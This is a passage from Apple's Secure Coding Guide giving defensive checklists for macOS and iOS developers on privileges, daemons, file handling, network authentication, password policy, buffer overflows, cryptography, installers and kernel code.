directory. ● Preference files. ● Temporary files. ● User files. And so on. If you follow these design principles, you will make it harder for an attacker to do anything useful if he or she compromises your app. Run Daemons as Unique Users For daemonsthatstart with elevated privileges and then drop privileges, you should always use a locally unique user ID for your program. If you use some standard UID such as _unknown or nobody, then any other process running with thatsame UID can interact with your program, either directly through interprocess communication, or indirectly by altering configuration files. Thus, if someone hijacks another daemon on the same server, they can then interfere with your daemon; or, conversely, ifsomeone hijacks your daemon, they can use it to interfere with other daemons on the server. You can use Open Directory services to obtain a locally unique UID. Note that UIDs from 0 through 500 are reserved for use by the system. Note: You should generally avoid making security decisions based on the user’s ID or name for two reasons: ● Many APIs for determining the user ID and user name are inherently untrustworthy because they return the value of the USER. ● Someone could trivially make a copy of your app and change the string to a different value, then run the app. Start Other Processes Safely When it comes to security, not all APIs for running external tools are created equal. In particular: Avoid the POSIX system(3) function. Its simplicity makes it a tempting choice, but also makes it much more dangerous than other functions. When you use system, you become responsible for completely sanitizing the entire command, which means protecting any characters that are treated as special by the shell. You are Designing Secure Helpers and Daemons Run Daemons as Unique Users 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 84responsible for understanding and correctly using the shell’s quoting rules, knowing which characters are interpreted within each type of quotation marks, and so on. This is no small feat even for expert shell script programmers, and is strongly inadvisable for everyone else. Bluntly put, you will get it wrong. Set up your own environment correctly ahead of time. Many APIs search for the tool you want to run in locations specified by the PATH environment variable. If an attacker can modify that variable, the attacker can potentially trick your app into starting a different tool and running it as the current user. You can avoid this problem by either explicitly setting the PATH environment variable yourself or by avoiding variants of exec(3) or posix_spawn(2) that use the PATH environment variable to search for executables. Use absolute paths where possible, or relative paths if absolute paths are not available. By explicitly specifying a path to an executable rather than just its name, the PATH environment variable is not consulted when the OS determines which tool to run. For more information about environment variables and shell special characters, read Shell Scripting Primer. Designing Secure Helpers and Daemons Start Other Processes Safely 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 85This appendix presents a set of security audit checklists that you can use to help reduce the security vulnerabilities of your software. These checklists are designed to be used during software development. If you read this section all the way through before you start coding, you may avoid many security pitfalls that are difficult to correct in a completed program. Note that these checklists are not exhaustive; you might not have any of the potential vulnerabilities discussed here and still have insecure code. Also, as the author of the code, you are probably too close to the code to be fully objective, and thus may overlook certain flaws. For this reason, it’s very important that you have your code reviewed for security problems by an independent reviewer. A security expert would be best, but any competent programmer, if aware of what to look for, might find problems that you may have missed. In addition, whenever the code is updated or changed in any way, including to fix bugs, it should be checked again for security problems. Important: All code should have a security audit before being released. Use of Privilege This checklist is intended to determine whether your code ever runs with elevated privileges, and if it does, how best to do so safely. Note that it’s best to avoid running with elevated privileges if possible; see “Avoiding Elevated Privileges” (page 63). 1. Reduce privileges whenever possible. If you are using privilege separation with sandboxing or other privilege-limiting techniques, you should be careful to ensure that your helper tools are designed to limit the damage that they can cause if the main application gets compromised, and vice-versa. Read “Designing Secure Helpers And Daemons” (page 81) to learn how. Also, for daemons that start with elevated privileges and then drop privileges, you should always use a locally unique user ID for your program. See “Run Daemons As Unique Users” (page 84) to learn more. 2. Use elevated privileges sparingly, and only in privileged helpers. In most cases, a program can get by without elevated privileges, butsometimes a program needs elevated privileges to perform a limited number of operations, such as writing files to a privileged directory or opening a privileged port. 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 86 Security Development ChecklistsIf an attacker finds a vulnerability that allows execution of arbitrary code, the attacker’s code runs with the same privilege as the running code, and can take complete control of the computer if that code has root privileges. Because of this risk, you should avoid elevating privileges if at all possible. If you must run code with elevated privileges, here are some rules: ● Never run your main process as a different user. Instead, create a separate helper tool that runs with elevated privileges. ● Your helper tool should do as little as possible. ● Your helper tool should restrict what you can ask it to do as much as possible. ● Your helper tool should either drop the elevated privileges or stop executing as soon as possible. Important: If all or most of your code runs with root or other elevated privileges, or if you have complex code that performs multiple operations with elevated privileges, then your program could have a serious security vulnerability. You should seek help in performing a security audit of your code to reduce your risk. See “Elevating Privileges Safely” (page 59) and “Designing Secure Helpers And Daemons” (page 81) for more information. 3. Use launchd when possible. If you are writing a daemon or other process that runs with elevated privileges, you should always use launchd to start it. (To learn why other mechanisms are not recommended, read “Limitations And Risks Of Other Mechanisms” (page 67).) For more information on launchd,see the manual pagesfor launchd, launchctl, and launchd.plist, and Daemons and Services Programming Guide . For more information about startup items, see Daemons and Services Programming Guide . For more information on ipfw, see the ipfw manual page. 4. Avoid using sudo programmatically. If authorized to do so in the sudoers file, a user can use sudo to execute a command as root. The sudo command is intended for occasional administrative use by a user sitting at the computer and typing into the Terminal application. Its use in scripts or called from code is not secure. After executing the sudo command—which requires authenticating by entering a password—there is a five-minute period (by default) during which the sudo command can be executed without further authentication. It’s possible for another process to take advantage of this situation to execute a command as root. Further, there is no encryption or protection of the command being executed. Because sudo is used to execute privileged commands, the command arguments often include user names, passwords, and other information that should be kept secret. A command executed in this way by a script or other code can expose confidential data to possible interception and compromise. Security Development Checklists Use of Privilege 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 875. Minimize the amount of code that must be run with elevated privileges. Ask yourself approximately how many lines of code need to run with elevated privileges. If this answer is either “all” or is a difficult number to compute, then it will be very difficult to perform a security review of your software. If you can’t determine how to factor your application to separate out the code that needs privileges, you are strongly encouraged to seek assistance with your project immediately. If you are an ADC member, you are encouraged to ask for help from Apple engineers with factoring your code and performing a security audit. If you are not an ADC member, see the ADC membership page at http://developer.apple.com/programs/. 6. Never run a GUI application with elevated privileges. You should never run a GUI application with elevated privileges. Any GUI application linksin many libraries over which you have no control and which, due to their size and complexity, are very likely to contain security vulnerabilities. In this case, your application runs in an environment set by the GUI, not by your code. Your code and your user’s data can then be compromised by the exploitation of any vulnerabilities in the libraries or environment of the graphical interface. Data, Configuration, and Temporary Files Some security vulnerabilities are related to reading or writing files. This checklist is intended to help you find any such vulnerabilities in your code. 1. Be careful when working with files in untrusted locations. If you write to any directory owned by the user, then there is a possibility that the user will modify or corrupt your files. Similarly, if you write temporary files to a publicly writable place (for example, /tmp, /var/tmp, /Library/Caches or another specific place with this characteristic), an attacker may be able to modify your files before the next time you read them. If your code reads and writes files (and in particular if it uses files for interprocess communication), you should put those files in a safe directory to which only you have write access. For more information about vulnerabilities associated with writing files, and how to minimize the risks, see “Time of Check Versus Time of Use” (page 44). 2. Avoid untrusted configuration files, preference files, or environment variables. In many cases, the user can control environment variables, configuration files, and preferences. If you are executing a program for the user with elevated privileges, you are giving the user the opportunity to perform operations that they cannot ordinarily do. Therefore, you should ensure that the behavior of your privileged code does not depend on these things. Security Development Checklists Data, Configuration, and Temporary Files 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 88This means: ● Validate all input, whether directly from the user or through environment variables, configuration files, preferences files, or other files. In the case of environment variables, the effect might not be immediate or obvious; however the user might be able to modify the behavior of your program or of other programs or system calls. ● Make sure that file paths do not contain wildcard characters, such as ../ or ~, which an attacker can use to switch the current directory to one under the attacker’s control. ● Explicitly set the privileges, environment variables, and resources available to the running process, rather than assuming that the process has inherited the correct environment. 3. Load kernel extensions carefully (or not at all). A kernel extension is the ultimate privileged code—it has access to levels of the operating system that cannot be touched by ordinary code, even running as root. You must be extremely careful why, how, and when you load a kernel extension to guard against being fooled into loading the wrong one. It’s possible to load a root kit if you’re notsufficiently careful. (A root kit is malicious code that, by running in the kernel, can not only take over control of the system but can cover up all evidence of its own existence.) To make sure that an attacker hasn’t somehow substituted his or her own kernel extension for yours, you should always store kernel extensions in secure locations. You may, if desired, use code signing or hashes to further verify their authenticity, but this does not remove the need to protect the extension with appropriate permissions. (Time-of-check vs. time-of-use attacks are still possible.) Note that in recent versions of OS X, this is partially mitigated by the KEXT loading system, which refuses to load any kext binary whose owner is not root or whose group is not wheel. In general, you should avoid writing kernel extensions (see “Keep Out” in Kernel Programming Guide ). However, if you must use a kernel extension, use the facilities built into OS X to load your extension and be sure to load the extension from a separate privileged process. See “Elevating Privileges Safely” (page 59) to learn more about the safe use of root access. See Kernel Programming Guide for more information on writing and loading kernel extensions. For help on writing device drivers, see I/O Kit Fundamentals. Network Port Use This checklist is intended to help you find vulnerabilities related to sending and receiving information over a network. If your project does not contain any tool or application that sends or receives information over a network, skip to “Audit Logs” (page 91) (for servers) or “Integer and Buffer Overflows” (page 97) for all other products. 1. Use assigned port numbers. Security Development Checklists Network Port Use 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 89Port numbers 0 through 1023 are reserved for use by certain services specified by the Internet Assigned Numbers Authority (IANA; see http://www.iana.org/). On many systems including OS X, only processes running asroot can bind to these ports. It is notsafe, however, to assume that any communications coming over these privileged ports can be trusted. It’s possible that an attacker has obtained root access and used it to bind to a privileged port. Furthermore, on some systems, root access is not needed to bind to these ports. You should also be aware that if you use the SO_REUSEADDR socket option with UDP, it is possible for a local attacker to hijack your port. Therefore, you should always use port numbers assigned by the IANA, you should always check return codes to make sure you have connected successfully, and you should check that you are connected to the correct port. Also, as always, never trust input data, even if it’s coming over a privileged port. Whether data is being read from a file, entered by a user, or received over a network, you must validate all input. See “Validating Input And Interprocess Communication” (page 33) for more information about validating input. 2. Choose an appropriate transport protocol. Lower-level protocols, such as UDP, provide higher performance for some types of traffic, but are easier to spoof than higher-level protocols, such as TCP. Note that if you’re using TCP, you still need to worry about authenticating both ends of the connection, but there are encryption layers you can add to increase security. 3. Use existing authentication services when authentication is needed. If you’re providing a free and nonconfidential service, and do not process user input, then authentication is not necessary. On the other hand, if any secret information is being exchanged, the user is allowed to enter data that your program processes, or there is any reason to restrict user access, then you should authenticate every user. OS X provides a variety of secure network APIs and authorization services, all of which perform authentication. You should always use these services rather than creating your own authentication mechanism. For one thing, authentication is very difficult to do correctly, and dangerous to get wrong. If an attacker breaks your authentication scheme, you could compromise secrets or give the attacker an entry to your system. The only approved authorization mechanism for networked applications is Kerberos; see “Client-Server Authentication” (page 93). For more information on secure networking, see Secure Transport Reference and CFNetwork Programming Guide . 4. Verify access programmatically. UI limitations do not protect your service from attack. If your service provides functionality that should only be accessible to certain users, that service must perform appropriate checks to determine whether the current user is authorized to access that functionality. Security Development Checklists Network Port Use 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 90If you do not do this, then someone sufficiently familiar with your service can potentially perform unauthorized operations by modifying URLs, sending malicious Apple events, and so on. 5. Fail gracefully. If a server is unavailable, either because of some problem with the network or because the server is under a denial of service attack, your client application should limit the frequency and number of retries and should give the user the opportunity to cancel the operation. Poorly-designed clientsthat retry connectionstoo frequently and too insistently, or that hang while waiting for a connection, can inadvertently contribute to—or cause their own—denial of service. 6. Design your service to handle high connection volume. Your daemon should be capable of surviving a denial of service attack without crashing or losing data. In addition, you should limit the total amount of processor time, memory, and disk space each daemon can use, so that a denial of service attack on any given daemon does not result in denial of service to every process on the system. You can use the ipfwfirewall program to control packets and traffic flow for internet daemons. For more information on ipfw, see the ipfw(8) manual page. See Wheeler, Secure Programming for Linux and Unix HOWTO, available at http://www.dwheeler.com/secure-programs/, for more advice on dealing with denial of service attacks. 7. Design hash functions carefully. Hash tables are often used to improve search performance. However, when there are hash collisions(where two items in the list have the same hash result), a slower (often linear) search must be used to resolve the conflict. If it is possible for a user to deliberately generate different requeststhat have the same hash result, by making many such requests an attacker can mount a denial of service attack. It is possible to design hash tables that use complex data structures such as trees in the collision case. Doing so can significantly reduce the damage caused by these attacks. Audit Logs It’s very important to audit attempts to connect to a server or to gain authorization to use a secure program. If someone is attempting to attack your program, you should know what they are doing and how they are doing it. Furthermore, if your program is attacked successfully, your audit log is the only way you can determine what happened and how extensive the security breach was. This checklist is intended to help you make sure you have an adequate logging mechanism in place. Security Development Checklists Audit Logs 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 91Important: Don’t log confidential data, such as passwords, which could then be read later by a malicious user. 1. Audit attempts to connect. Your daemon orsecure program should audit connection attempts(both successful attempts and failures). Note that an attacker can attempt to use the audit log itself to create a denial of service attack; therefore, you should limit the rate of entering audit messages and the total size of the log file. You also need to validate the input to the log itself, so that an attacker can’t enter special characters such as the newline character that you might misinterpret when reading the log. See Wheeler, Secure Programming for Linux and Unix HOWTO for some advice on audit logs. 2. Use the libbsm auditing library where possible. The libbsm auditing library is part of the TrustedBSD project, which in turn is a set of trusted extensions to the FreeBSD operating system. Apple has contributed to this project and has incorporated the audit library into the Darwin kernel of the OS X operating system. (This library is not available in iOS.) You can use the libbsm auditing library to implement auditing of your program for login and authorization attempts. This library gives you a lot of control over which events are audited and how to handle denial of service attacks. The libbsm project is located at http://www.opensource.apple.com/darwinsource/Current/bsm/. For documentation of the BSM service, see the “Auditing Topics” chapter in Sun Microsystems’ System Administration Guide: Security Services located at http://docs.sun.com/app/docs/doc/806- 4078/6jd6cjs67?a=view. 3. If you cannot use libbsm, be careful when writing audit trails. When using audit mechanisms other than libbsm, there are a number of pitfalls you should avoid, depending on what audit mechanism you are using: ● syslog Prior to the implementation of the libbsm auditing library, the standard C library function syslog was most commonly used to write data to a log file. If you are using syslog, consider switching to libbsm, which gives you more options to deal with denial of service attacks. If you want to stay with syslog, be sure your auditing code is resistant to denial of service attacks, as discussed in step 1. ● Custom log file If you have implemented your own custom logging service, consider switching to libbsm to avoid inadvertently creating a security vulnerability. In addition, if you use libbsm your code will be more easily maintainable and will benefit from future enhancements to the libbsm code. If you stick with your own custom logging service, you must make certain that it is resistant to denial of service attacks (see step 1) and that an attacker can’t tamper with the contents of the log file. Security Development Checklists Audit Logs 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 92Because your log file must be either encrypted or protected with access controlsto prevent tampering, you must also provide tools for reading and processing your log file. Finally, be sure your custom logging code is audited for security vulnerabilities. Client-Server Authentication If any private or secret information is passed between a daemon and a client process, both ends of the connection should be authenticated. This checklist is intended to help you determine whether your daemon’s authentication mechanism is safe and adequate. If you are not writing a daemon, skip to “Integer and Buffer Overflows” (page 97). 1. Do not store, validate, or modify passwords yourself. It’s a very bad idea to store, validate, or modify passwords yourself, as it’s very hard to do so securely, and OS X and iOS provide secure facilities for just that purpose. ● In OS X, you can use the keychain to store passwords and Authorization Services to create, modify, delete, and validate user passwords (see Keychain Services Programming Guide and Authorization Services Programming Guide ). ● In OS X, if you have access to an OS X Server setup, you can use Open Directory (see Open Directory Programming Guide ) to store passwords and authenticate users. ● On an iOS device, you can use the keychain to store passwords. iOS devices authenticate the application that is attempting to obtain a keychain item rather than asking the user for a password. By storing data in the keychain, you also ensure that they remain encrypted in any device backups. 2. Never send passwords over a network connection in cleartext form. You should never assume that an unencrypted network connection issecure. Information on an unencrypted network can be intercepted by any individual or organization between the client and the server. Even an intranet, which does not go outside of your company, is not secure. A large percentage of cyber crime is committed by company insiders, who can be assumed to have accessto a network inside a firewall. OS X provides APIs for secure network connections; see Secure Transport Reference and CFNetwork Programming Guide for details. 3. Use server authentication as an anti-spoofing measure. Although server authentication is optional in the SSL/TLS protocols, you should always do it. Otherwise, an attacker might spoof your server, injuring your users and damaging your reputation in the process. 4. Use reasonable pasword policies. ● Password strength Security Development Checklists Client-Server Authentication 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 93In general, it is better to provide the user with a meansto evaluate the strength of a proposed password rather than to require specific combinations of letters, numbers, or punctuation, as arbitrary rules tend to cause people to choose bad passwords to fit the standard (Firstname.123) instead of choosing good passwords. ● Password expiration Password expiration has pros and cons. If your service transmits passwords in cleartext form, it is absolutely essential. If your password transmission is considered secure, however, password expiration can actually weaken security by causing people to choose weaker passwords that they can remember or to write their passwords down on sticky notes on their monitors. See Password Expiration Considered Harmful for more information. ● Non-password authentication Hardware-token-based authentication providesfar more security than any password scheme because the correct response changes every time you use it. These tokens should always be combined with a PIN, and you should educate your users so that they do not write their username or PIN on the token itself. ● Disabled accounts When an employee leaves or a user closes an account, the accountshould be disabled so that it cannot be compromised by an attacker. The more active accounts you have, the greater the probability that one will have a weak password. ● Expired accounts Expiring unused accounts reduces the number of active accounts, and in so doing, reduces the risk of an old account getting compromised by someone stealing a password that the user has used for some other service. Note, however, that expiring a user account without warning the user first is generally a bad idea. If you do not have a means of contacting the user, expiring accounts are generally considered poor form. ● Changing passwords You can require that the client application support the ability to change passwords, or you can require that the user change the password using a web interface on the server itself. In either case, the user (or the client, on behalf of the user) must provide the previous password along with the new password (twice unless the client is updating it programmatically over a sufficiently robust channel). ● Lost password retrieval (such as a system that triggers the user’s memory or a series of questions designed to authenticate the user without a password) Security Development Checklists Client-Server Authentication 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 94Make sure your authentication method is not so insecure that an attacker doesn’t even bother to try a password, and be careful not to leak information, such as the correct length of the password, the email address to which the recovered password is sent, or whether the user ID is valid. You should always allow (and perhaps even require) customer to choose their own security questions. Pre-written questions are inherently dangerous because any question that is general enough for you to ask it of a large number of people is: ● likely to be a request for information that a large number of that person’s friends already know. In all likelihood, everyone who attended your high school can guess (in a handful of guesses) who your kindergarten teacher was, who your high school mascot was, and so on. ● probably on your public profile on a social networking site. For example, if you ask where you were born, chances are that’s public information. Even if it isn’t on your profile, someone can dig it up through government records. ● potentially guessable given other information about the person. For example, given the last four digits of a social security number, someone’s birthdate, and the city in which that person was born, you can fairly easily guess then entire social security number. Finally, you should always allow your users the option of not filing out security questions. The mere existence of security questions makes their accounts less secure, so security-conscious individuals should be allowed to refuse those questions entirely. ● Limitations on password length (adjustable by the system administrator) In general, you should require passwords to be at least eight characters in length. (As a side note, if yourserver limits passwordsto a maximum of eight characters, you need to rethink your design. There should be no maximum password length at all, if possible.) The more of these policies you enforce, the more secure your server will be. Rather than creating your own password database—which is difficult to do securely—you should use the Apple Password Server. See Open Directory Programming Guide for more information about the Password Server, Directory Service Framework Reference for a list of Directory Services functions, and the manual pages for pwpolicy(8), passwd(1), passwd(5), and getpwent(3) at http://developer.apple.com/documentation/Darwin/Reference/ManPages/index.html for tools to access the password database and set password policies. 5. Do not store unencrypted passwords and do not reissue passwords. In order to reissue a password, you first have to cache the unencrypted password, which is bad security practice. Furthermore, when you reissue a password, you might also be reusing that password in an inappropriate security context. For example, suppose your program is running on a web server, and you use SSL to communicate with clients. If you take a client’s password and use it to log into a database server to do something on the client’s behalf, there’s no way to guarantee that the database server keeps the password secure and does Security Development Checklists Client-Server Authentication 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 95not pass it on to another server in cleartext form. Therefore, even though the password was in a secure context when it was being sent to the web server over SSL, when the web server reissues it, it’s in an insecure context. If you want to spare your client the trouble of logging in separately to each server, you should use some kind of forwardable authentication, such as Kerberos. For more information on Apple’s implementation of Kerberos, see http://developer.apple.com/darwin/projects/kerberos/. Under no circumstances should you design a system in which system administrators or other employees can see users’ passwords. Your users are trusting you with passwords that they may use for other sites; therefore, it is extremely reckless to allow anyone else to see those passwords. Administrators should be allowed to reset passwords to new values, but should never be allowed to see the passwords that are already there. 6. Support Kerberos. Kerberos is the only authorization service available over a network for OS X servers, and it offers single-sign-on capabilities. If you are writing a server to run on OS X, you should support Kerberos. When you do: a. Be sure you’re using the latest version (v5). b. Use a service-specific principal, not a host principal. Each service that uses Kerberos should have its own principal so that compromise of one key does not compromise more than one service. If you use a host principal, anyone who has your host key can spoof login by anybody on the system. The only alternative to Kerberos is combining SSL/TLS authentication with some other means of authorization such as an access control list. 7. Restrict guest access appropriately. If you allow guest access, be sure that guests are restricted in what they can do, and that your user interface makes clear to the system administrator what guests can do. Guest access should be off by default. It’s best if the administrator can disable guest access. Also, as noted previously, be sure to limit what guests can do in the code that actually performs the operation, not just in the code that generates the user interface. Otherwise, someone with sufficient knowledge ofthe systemcan potentially performthose unauthorized operationsin other ways(bymodifying URLs, for example). 8. Do not implement your own directory service. Open Directory is the directory server provided by OS X for secure storage of passwords and user authentication. It is important that you use this service and not try to implement your own, as secure directory servers are difficult to implement and an entire directory’s passwords can be compromised if it’s done wrong. See Open Directory Programming Guide for more information. 9. Scrub (zero) user passwords from memory after validation. Security Development Checklists Client-Server Authentication 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 96Passwords must be kept in memory for the minimum amount of time possible and should be written over, not just released, when no longer needed. It is possible to read data out of memory even if the application no longer has pointers to it. Integer and Buffer Overflows As discussed in “Avoiding Buffer Overflows And Underflows” (page 17), buffer overflows are a major source of security vulnerabilities. This checklist is intended to help you identify and correct buffer overflows in your program. 1. Use unsigned values when calculating memory object offsets and sizes. Signed values make it easier for an attacker to cause a buffer overflow, creating a security vulnerability, especially if your application accepts signed values from user input or other outside sources. Be aware that data structures referenced in parameters might contain signed values. See “Avoiding Integer Overflows And Underflows” (page 27) and “Calculating Buffer Sizes” (page 25) for details. 2. Check for integer overflows (or signed integer underflows) when calculating memory object offsets and sizes. You must always check for integer overflows or underflows when calculating memory offsets or sizes. Integer overflows and underflows can corrupt memory in ways that can lead to execution of arbitrary code. See “Avoiding Integer Overflows And Underflows” (page 27) and “Calculating Buffer Sizes” (page 25) for details. 3. Avoid unsafe string-handling functions. The functions strcat, strcpy, strncat, strncpy, sprintf, vsprintf, gets have no built-in checks for string length, and can lead to buffer overflows. For alternatives, read “String Handling” (page 22). Cryptographic Function Use This checklist is intended to help you determine whether your program has any vulnerabilities related to use of encryption, cryptographic algorithms, or random number generation. 1. Use trusted random number generators. Do not attempt to generate your own random numbers. Security Development Checklists Integer and Buffer Overflows 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 97There are several ways to obtain high-quality random numbers: ● In iOS, use the Randomization Services programming interface. ● In OS X: ● Read from /dev/random in OS X (see the manual page for random). ● Use the read_random function in the header file random.h in the Apple CSP module, which is part of Apple’simplementation ofthe CDSA framework (available at http://developer.apple.com/darwin/projects/security/). Note that rand does not return good random numbers and should not be used. 2. Use TLS/SSL instead of custom schemes. You should always use accepted standard protocols for secure networking. These standards have gone through peer review and so are more likely to be secure. In addition, you should always use the most recent version of these protocols. To learn more about the secure networking protocols available in OS X and iOS, read “Secure Network Communication APIs” in Cryptographic Services Guide . 3. Don’t roll your own crypto algorithms. Always use existing optimized functions. It is very difficult to implement a secure cryptographic algorithm, and good, secure cryptographic functions are readily available. To learn about the cryptographic services available in OS X and iOS, read Cryptographic Services Guide . Installation and Loading Many security vulnerabilities are caused by problems with how programs are installed or code modules are loaded. This checklist is intended to help you find any such problems in your project. 1. Don’t install components in /Library/StartupItemsor/System/Library/Extensions. Code installed into these directories runs with root permissions. Therefore, it is very important that such programs be carefully audited forsecurity vulnerabilities(as discussed in this checklist) and that they have their permissions set correctly. For information on proper permissions for startup items, see “Startup Items”. (Note that in OS X v10.4 and later,startup items are deprecated; you should use launchd to launch your daemonsinstead. See Daemons and Services Programming Guide for more information.) For information on permissions for kernel extensions, see Kernel Extension Programming Topics. (Note that beginning in OS X v10.2, OS X checks for permissions problems and refuses to load extensions unless the permissions are correct.) Security Development Checklists Installation and Loading 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 982. Don’t use custom install scripts. Custom install scripts add unnecessary complexity and risk, so when possible, you should avoid them entirely. If you must use a custom install script, you should: ● If your installerscript runsin a shell, read and follow the advice in “Shell Script Security” in Shell Scripting Primer. ● Be sure that yourscript followsthe guidelinesin this checklist just asthe rest of your application does. In particular: ● Don’t write temporary files to globally writable directories. ● Don’t execute with higher privileges than necessary. In general, your script should execute with the same privileges the user has normally, and should do its work in the user’s directory on behalf of the user. ● Don’t execute with elevated privileges any longer than necessary. ● Set reasonable permissions on your installed app. For example, don’t give everyone read/write permission to files in the app bundle if only the owner needs such permission. ● Set your installer’s file code creation mask (umask) to restrict access to the files it creates (see “Securing File Operations” (page 47)). ● Check return codes, and if anything is wrong, log the problem and report the problem to the user through the user interface. For advice on writing installation code that needs to perform privileged operations, see Authorization Services Programming Guide . For more information about writing shell scripts, read Shell Scripting Primer. 3. Load plug-ins and libraries only from secure locations. An application should load plug-ins only from secure directories. If your application loads plug-ins from directories that are not restricted, then an attacker might be able to trick the user into downloading malicious code, which your application might then load and execute. Important: In code running with elevated privileges, directories writable by the user are not considered secure locations. Be aware that the dynamic link editor (dyld) might link in plugins, depending on the environment in which your code is running. If your code uses loadable bundles (CFBundle or NSBundle), then it is dynamically loading code and could potentially load bundles written by a malicious hacker. See Code Loading Programming Topics for more information about dynamically loaded code. Security Development Checklists Installation and Loading 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 99Use of External Tools and Libraries If your program includes or uses any command-line tools, you have to look for security vulnerabilities specific to the use of such tools. This checklist is intended to help you find and correct such vulnerabilities. 1. Execute tools safely. If you are using routines such as popen or system to send commands to the shell, and you are using input from the user or received over a network to construct the command, you should be aware that these routines do not validate their input. Consequently, a malicious user can pass shell metacharacters—such as an escape sequence or other special characters—in command line arguments. These metacharacters might cause the following text to be interpreted as a new command and executed. In addition, when calling functions such as execlp, execvp, popen, or system that use the PATH environment variable to search for executables, you should always specify a complete absolute path to any tool that you want to run. If you do not, a malicious attacker can potentially cause you to run a different tool using an environment variable attack. When possible, use execvP (which takes an explicit search path argument) or avoid these functions altogether. See Viega and McGraw, Building Secure Software , AddisonWesley, 2002, andWheeler, Secure Programming for Linux andUnixHOWTO, available at http://www.dwheeler.com/secure-programs/, formore information on problems with these and similar routines and for secure ways to execute shell commands. 2. Do not pass sensitive information on the command line. If your application executes command-line tools, keep in mind that your process environment is visible to other users (see man ps(1)). You must be careful not to pass sensitive information in an insecure manner. Instead, pass sensitive information to your tool through some other means such as: ● Pipe or standard input A password is safe while being passed through a pipe; however, you must be careful that the process sending the password obtains and stores it in a safe manner. ● Environment variables Environment variables can potentially be read by other processes and thus may not be secure. If you use environment variables, you must be careful to avoid passing them to any processes that your command-line tool or script might spawn. See “Shell Script Security” in Shell Scripting Primer for details. ● Shared memory Named and globally-shared memory segments can be read by other processes. See “Interprocess Communication And Networking” (page 40) for more information aboutsecure use ofshared memory. ● Temporary file Security Development Checklists Use of External Tools and Libraries 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 100Temporary files are safe only if kept in a directory to which only your program has access. See “Data, Configuration, and Temporary Files” (page 88), earlier in this chapter, for more information on temporary files. 3. Validate all arguments (including the name). Also, remember that anyone can execute a tool—it is not executable exclusively through your program. Because all command-line arguments, including the program name (argv(0)), are under the control of the user, your tool should validate every parameter (including the name, if the tool’s behavior depends on it). Kernel Security This checklist is intended to help you program safely in the kernel. Note: Coding in the kernel poses special security risks and is seldom necessary. See Coding in the Kernel for alternatives to writing kernel-level code. 1. Verify the authenticity of Mach-based services. Kernel-level code can work directly with the Mach component. A Mach port is an endpoint of a communication channel between a client who requests a service and a server that provides the service. Mach ports are unidirectional; a reply to a service request must use a second port. If you are using Mach ports for communication between processes, you should check to make sure you are contacting the correct process. Because Mach bootstrap ports can be inherited, it is important for servers and clients to authenticate each other. You can use audit trailers for this purpose. You should create an audit record for each security-related check your program performs. See “Audit Logs” (page 91), earlier in this chapter, for more information on audit records. 2. Verify the authenticity of other user-space services. If your kernel extension was designed to communicate with only a specific user-space daemon, you should check not only the name of the process, but also the owner and group to ensure that you are communicating with the correct process. 3. Handle buffers correctly. When copying data to and from user space, you must: a. Check the bounds of the data using unsigned arithmetic—just as you check all bounds (see “Integer and Buffer Overflows” (page 97), earlier in this chapter)—to avoid buffer overflows. b. Check for and handle misaligned buffers. c. Zero all pad data when copying to or from user-space memory. Security Development Checklists Kernel Security 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 101If you or the compiler adds padding to align a data structure in some way, you should zero the padding to make sure you are not adding spurious (or even malicious) data to the user-space buffer, and to make sure that you are not accidentally leaking sensitive information that may have been in that page of memory previously. 4. Limit the memory resources a user may request. If your code does not limit the memory resources a user may request, then a malicious user can mount a denial of service attack by requesting more memory than is available in the system. 5. Sanitize any kernel log messages. Kernel code often generates messages to the console for debugging purposes. If your code does this, be careful not to include any sensitive information in the messages. 6. Don’t log too much. The kernel logging service has a limited buffer size to thwart denial of service attacks against the kernel. This means that if your kernel code logs too frequently or too much, data can be dropped. If you need to log large quantities of data for debugging purposes, you should use a different mechanism, and you must disable that mechanism before deploying your kernel extension. If you do not, then your extension could become a denial-of-service attack vector. 7. Design hash functions carefully. Hash tables are often used to improve search performance. However, when there are hash collisions(where two items in the list have the same hash result), a slower (often linear) search must be used to resolve the conflict. If it is possible for a user to deliberately generate different requeststhat have the same hash result, by making many such requests an attacker can mount a denial of service attack. It is possible to design hash tables that use complex data structures such as trees in the collision case. Doing so can significantly reduce the damage caused by these attacks. Security Development Checklists Kernel Security 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 102This appendix provides secure coding guidelines for software to be bundled with Apple products. Insecure software can pose a risk to the overall security of users’ systems. Security issues can lead to negative publicity and end-user support problems for Apple and third parties. Respect Users’ Privacy Your bundled software may use the Internet to communicate with your servers or third party servers. If so, you should provide clear and concise information to the user about what information is sent or retrieved and the reason for sending or receiving it. Encryption should be used to protect the information while in transit. Servers should be authenticated before transferring information. Provide Upgrade Information Provide information on how to upgrade to the latest version. Consider implementing a “Check for updates…” feature. Customers expect (and should receive) security fixes that affect the software version they are running. You should have a way to communicate available security fixes to customers. If possible, you should use the Mac App Store for providing upgrades. The Mac App Store provides a single, standard interface for updating all of a user’s software. The Mac App Store also provides an expedited app review process for handling critical security fixes. Store Information in Appropriate Places Store user-specific information in the home directory, with appropriate file system permissions. Take special care when dealing with shared data or preferences. Follow the guidelines about file system permissions set forth in File System Programming Guide . 2012-06-11 | © 2012 Apple Inc. All Rights Reserved. 103 Third-Party Software Security GuidelinesTake care to avoid race conditions and information disclosure when using temporary files. If possible, use a user-specific temporary file directory. Avoid Requiring Elevated Privileges Do not require or encourage users to be logged in as an admin user to install or use your application. You should regularly test your application as a normal user to make sure that it works as expected. Implement Secure Development Practices Educate your developers on how to write secure code to avoid the most common classes of vulnerabilities: ● Buffer overflows ● Integer overflows ● Race conditions ● Format string vulnerabilities Pay special 